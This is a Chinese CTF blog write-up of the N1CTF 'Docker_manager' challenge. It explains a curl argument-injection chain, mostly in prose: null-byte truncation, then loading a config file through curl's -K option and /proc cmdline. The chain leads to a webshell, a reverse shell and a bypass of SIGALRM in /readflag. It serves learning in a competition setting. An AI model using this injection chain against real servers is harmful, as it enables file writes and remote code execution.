CTF Web安全

N1CTF Docker_manager(CURL参数注入)

Posted on 2020-10-19,3 min read

环境搭建

题目给出了源码。docker自己搭一下
docker build n1:v1 .
vim docker-compose.yml

version: "3"
services:

  web:
    build: .
    image: n1:v1
    ports:
      - "80:80"
    restart: always

docker-compose up -d

源码分析

漏洞点很明显。$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;

grab_request_var函数相当于$_REQUESTS['参数']接受所有请求方式的值
输入的值被escapeshellarg后会和其他字符拼接。再拼接到curl命令。然后执行

在构建docker的时候。发现php版本是5.4.45。那么就可以利用00截断。把后面添加的字符截断
一般来说。。看到escapeshellarg。就不是&|;这种拼接命令注入了。。一般都是参数注入,比如curl -O保存文件这种

这里有四个可控点。分别是

curl --connect-timeout 10  $host_addr  -g $cert . $key . $cacert;

这里就叫介绍下curl的-K参数了

-K     指定配置文件
我们可以在配置文件中定义好要请求的URL。保存路径。HTTP头这些配置
然后curl -K文件名。curl就会根据配置项中的值来进行请求

例如
option文件如下
URL="http://119.45.155.77/"
output="index.html"

curl -Koption
那么curl就会访问http://119.45.155.77/然后输出到index.html
并且。option文件中可以有其他杂乱的数据。只要配置项那部分格式正确就行

那么。这题是不是可以利用-K这个参数去写入文件
但是。这题怎么去写入我们想要的配置文件
用之前执行的-K。可以加载配置文件。那么我们能不能添加一个巨大的文件。让curl一直卡着。进程不结束。

进程不结束。那么就会有个/proc/fd/cmdline。会纪录他命令行的启动命令

这里我们将$host_addr指定为了-K配置文件。让其进程不退出。
再配合后面几个可控的变量用换行符号。构造出一个配置文件

此时。这个curl进程还卡着没退出。可以再开个进程用-K/proc/xx/cmdline去执行

同样方法。去服务器上拿到webshell。弹个shell。发现靶机要执行/readflag

但是一执行/readflag就会退出和之前的交互式/readflag不太像啊。。
然后就下下来。ida分析下

发现程序用了ualarm函数。

那么readflag在0x3E8u微妙后每隔0秒给程序发送SIGALRM信号

继续搜。知道SIGALRM信号会自动终止程序
那么就要屏蔽这个信号https://www.cnblogs.com/liuhedong/p/10663842.html

下一篇: N1CTF Signin(反序列化+sql注入)→